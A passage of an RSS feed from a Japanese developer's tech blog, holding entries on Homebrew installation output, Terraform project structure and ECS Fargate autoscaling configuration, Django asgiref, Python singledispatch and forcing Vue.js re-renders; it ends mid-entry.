remote: Total 1030054 (delta 77), reused 132 (delta 71), pack-reused 1029916
Receiving objects: 100% (1030054/1030054), 386.75 MiB | 19.32 MiB/s, done.
Resolving deltas: 100% (705903/705903), done.
From https://github.com/Homebrew/homebrew-core
* [new branch] master -&amp;gt; origin/master
HEAD is now at ad32cdaac0 ezstream: update 1.0.2 bottle.
Warning: /opt/homebrew/bin is not in your PATH.
Instructions on how to configure your shell for Homebrew
can be found in the &amp;#39;Next steps&amp;#39; section below.
==&amp;gt; Installation successful!
==&amp;gt; Homebrew has enabled anonymous aggregate formulae and cask analytics.
Read the analytics documentation (and how to opt-out) here:
https://docs.brew.sh/Analytics
No analytics data has been sent yet (or will be during this `install` run).
==&amp;gt; Homebrew is run entirely by unpaid volunteers. Please consider donating:
https://github.com/Homebrew/brew#donations
==&amp;gt; Next steps:
- Run these two commands in your terminal to add Homebrew to your PATH:
echo &amp;#39;eval &amp;#34;$(/opt/homebrew/bin/brew shellenv)&amp;#34;&amp;#39; &amp;gt;&amp;gt; /Users/hdknr/.zprofile
eval &amp;#34;$(/opt/homebrew/bin/brew shellenv)&amp;#34;
- Run `brew help` to get started
- Further documentation:
https://docs.brew.sh
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Terraform</title><link>https://hdknr.github.io/blogs/posts/2021/06/terraform/</link><pubDate>Sat, 12 Jun 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/06/terraform/</guid><description>&lt;h1 id="readme"&gt;README&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;tfenvのインストール&lt;/li&gt;
&lt;li&gt;設定ファイルの作成&lt;/li&gt;
&lt;li&gt;terraform init&lt;/li&gt;
&lt;li&gt;terraform plan&lt;/li&gt;
&lt;li&gt;terraform apply&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="設計運用"&gt;設計運用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/naomichi-y/items/4501331d114b4ef9d584"&gt;Terraform設計・運用のノウハウ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.terraform-best-practices.com/"&gt;ベストプラクティス&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/antonbabenko/terraform-best-practices"&gt;antonbabenko/terraform-best-practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;ファイル&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;内容&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;main.tf&lt;/td&gt;
&lt;td&gt;リソースを作成する(&lt;code&gt;moduels&lt;/code&gt;, &lt;code&gt;locals&lt;/code&gt;, &lt;code&gt;data-sources&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;variables.tf&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main.tf&lt;/code&gt; で使われる変数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;outputs.tf&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main.tf&lt;/code&gt; が作成したリソースの出力&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% tree large-terraform
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;large-terraform
├── README.md
├── modules
│ └── network
│ ├── main.tf
│ ├── outputs.tf
│ └── variables.tf
├── prod
│ ├── main.tf
│ ├── outputs.tf
│ ├── terraform.tfvars
│ └── variables.tf
└── stage
├── main.tf
├── outputs.tf
├── terraform.tfvars
└── variables.tf
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="hcl-hcl-is-the-hashicorp-configuration-language"&gt;HCL (HCL is the HashiCorp configuration language.)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hashicorp/hcl"&gt;https://github.com/hashicorp/hcl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/dd511805/items/6e8dd1cf8335d244cf78"&gt;Terraform v0.12で変わるHCLの記述について&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;コメント:&lt;/p&gt;</description></item><item><title>AWS: ECS</title><link>https://hdknr.github.io/blogs/posts/2021/06/aws-ecs/</link><pubDate>Fri, 04 Jun 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/06/aws-ecs/</guid><description>&lt;h1 id="ecs-オートスケーリング"&gt;ECS オートスケーリング&lt;/h1&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://repost.aws/ja/knowledge-center/ecs-fargate-service-auto-scaling"&gt;Fargate で Amazon ECS サービスの自動スケーリングを設定する方法を教えてください。&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/thirosue/items/79b8b4bc1941ee2ff5b0"&gt;AWS FargateでAutoScaleを試してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="terraform-の設定"&gt;Terraform の設定&lt;/h2&gt;
&lt;p&gt;オートスケーリングの設定をTerraformで記述する例を以下に示します。この例では、CPU使用率に基づいてECS Fargateサービスのタスク数を自動的にスケーリングするように設定します。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="必要なリソース"&gt;必要なリソース&lt;/h2&gt;
&lt;p&gt;TerraformでECSサービスのオートスケーリングを設定するには、以下のリソースを定義します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;aws_appautoscaling_target&lt;/code&gt;: スケーリングの対象となるECSサービスとタスク数を指定します。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aws_appautoscaling_policy&lt;/code&gt;: 実際のスケーリングロジック（CPU使用率、目標値など）を定義します。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aws_cloudwatch_metric_alarm&lt;/code&gt;: (オプション) 詳細な条件でスケーリングを制御する場合に使用します。ターゲット追跡スケーリングポリシーは内部でこれを生成するため、通常は明示的に定義する必要はありません。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="terraform-コード例"&gt;Terraform コード例&lt;/h2&gt;
&lt;p&gt;以下のコードブロックは、&lt;code&gt;aws_ecs_service&lt;/code&gt;リソースで定義されたECSサービスに対して、CPU使用率が50%になるようにタスク数を調整するオートスケーリング設定の例です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-terraform" data-lang="terraform"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ECSサービスを定義 (この例では、既存サービスを想定)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# resource &amp;#34;aws_ecs_service&amp;#34; &amp;#34;main&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# name = &amp;#34;my-ecs-service&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1. オートスケーリングの対象を定義
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;resource&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;aws_appautoscaling_target&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ecs_target&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;service_namespace&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ecs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resource_id&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;service/my-cluster/my-ecs-service&amp;#34;&lt;/span&gt;&lt;span style="color:#75715e"&gt; # サービス名に合わせて変更
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;scalable_dimension&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ecs:service:DesiredCount&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;min_capacity&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#75715e"&gt; # 最小タスク数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;max_capacity&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#75715e"&gt; # 最大タスク数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 2. ターゲット追跡スケーリングポリシーを定義
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;resource&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;aws_appautoscaling_policy&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;cpu_scaling_policy&amp;#34;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;cpu-utilization-scaling-policy&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;service_namespace&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ecs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;resource_id&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;aws_appautoscaling_target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;ecs_target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;resource_id&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;scalable_dimension&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;aws_appautoscaling_target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;ecs_target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scalable_dimension&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;policy_type&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;TargetTrackingScaling&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target_tracking_scaling_policy_configuration&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;predefined_metric_specification&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;predefined_metric_type&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ECSServiceAverageCPUUtilization&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target_value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#75715e"&gt; # CPU使用率の目標値（%）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;scale_in_cooldown&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#75715e"&gt; # スケールイン（タスク減少）のクールダウン期間（秒）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;scale_out_cooldown&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#75715e"&gt; # スケールアウト（タスク増加）のクールダウン期間（秒）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="コードの解説"&gt;コードの解説&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;aws_appautoscaling_target&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>Django: asgiref</title><link>https://hdknr.github.io/blogs/posts/2021/06/django-asgiref/</link><pubDate>Wed, 02 Jun 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/06/django-asgiref/</guid><description>&lt;h1 id="asgiref"&gt;asgiref&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/django/asgiref"&gt;https://github.com/django/asgiref&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ASGI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ASGI is a standard for Python asynchronous web apps and servers to communicate with each other,&lt;/li&gt;
&lt;li&gt;and positioned as an asynchronous successor to WSGI.&lt;/li&gt;
&lt;li&gt;You can read more at &lt;a href="https://asgi.readthedocs.io/en/latest/"&gt;https://asgi.readthedocs.io/en/latest/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This package includes ASGI base libraries, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sync-to-async and async-to-sync function wrappers, &lt;a href="https://github.com/django/asgiref/blob/main/asgiref/sync.py"&gt;asgiref.sync&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Server base classes, &lt;a href="https://github.com/django/asgiref/blob/main/asgiref/server.py"&gt;asgiref.server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A WSGI-to-ASGI adapter, in &lt;a href="https://github.com/django/asgiref/blob/main/asgiref/wsgi.py"&gt;asgiref.wsgi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="function-wrappers"&gt;Function wrappers&lt;/h2&gt;
&lt;p&gt;These allow you to wrap or decorate async or sync functions to call them from the other style (so you can call async functions from a synchronous thread, or vice-versa).&lt;/p&gt;</description></item><item><title>Python: singledispatch</title><link>https://hdknr.github.io/blogs/posts/2021/05/python-singledispatch/</link><pubDate>Mon, 24 May 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/05/python-singledispatch/</guid><description>&lt;h1 id="singledispatch"&gt;singledispatch&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.python.org/dev/peps/pep-0443/"&gt;PEP 443 &amp;ndash; Single-dispatch generic functions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;single-dispatch generic functions&lt;/code&gt; : form of generic programming&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rafiqul.rocks/generic-function-in-python-with-singledispatch"&gt;Generic Function in Python with Singledispatch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Vue.js: 再描画</title><link>https://hdknr.github.io/blogs/posts/2021/05/vue.js-%E5%86%8D%E6%8F%8F%E7%94%BB/</link><pubDate>Sat, 22 May 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/05/vue.js-%E5%86%8D%E6%8F%8F%E7%94%BB/</guid><description>&lt;h1 id="vuejs-domの再描画"&gt;Vue.js: DOMの再描画&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/bobu_web/items/ec5a98d03758d12ad721"&gt;Vue.jsでビューの変更がされないときに疑うこと+主な解決策方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cloudpack.media/41984"&gt;Vue.jsでビューの変更がされないときに疑うこと+主な解決策方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vuejs.org/v2/guide/list.html#Caveats"&gt;List Rendering&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jp.vuejs.org/v2/guide/list.html#%E9%85%8D%E5%88%97%E3%81%AE%E7%BD%AE%E3%81%8D%E6%8F%9B%E3%81%88"&gt;リストレンダリング&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://michaelnthiessen.com/force-re-render/"&gt;The correct way to force Vue to re-render a component&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配列:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;配列自体を置き換えて変更すること&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;オブジェクト&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Object.assign / スプレッド構文 など使って新しいオブジェクトで代入し直す&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;key&lt;/code&gt;属性を使う&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DOMを再利用させないようにする&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;v-if&lt;/code&gt; でゲートをかける&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;true&lt;/code&gt; で再レンダリング&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;nextTick&lt;/code&gt; で変更&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
